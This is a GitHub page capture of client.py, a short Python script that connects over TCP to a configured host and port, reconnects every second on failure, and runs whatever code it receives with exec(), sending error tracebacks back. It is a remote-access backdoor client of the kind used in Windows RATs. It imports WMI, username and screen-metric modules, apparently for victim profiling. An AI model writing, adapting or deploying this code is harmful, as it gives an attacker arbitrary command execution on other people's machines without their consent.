-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathclient.py
More file actions
47 lines (40 loc) · 1013 Bytes
/
client.py
File metadata and controls
47 lines (40 loc) · 1013 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import socket
import time
import traceback
import requests
from wmi import WMI
import os
import getpass
from win32api import GetSystemMetrics
import uuid
host = "127.0.0.1"
port = 5238
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
def connect(host, port):
global client
try:
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((host, port))
except:
time.sleep(1)
connect(host, port)
connect(host, port)
while True:
try:
BUFF_SIZE = 2048
data = b''
while True:
part = client.recv(BUFF_SIZE)
data += part
if len(part.decode()) < BUFF_SIZE:
break
try:
exec(data.decode())
except:
client.send(b"error")
client.send(traceback.format_exc().encode())
except:
time.sleep(1)
connect(host, port)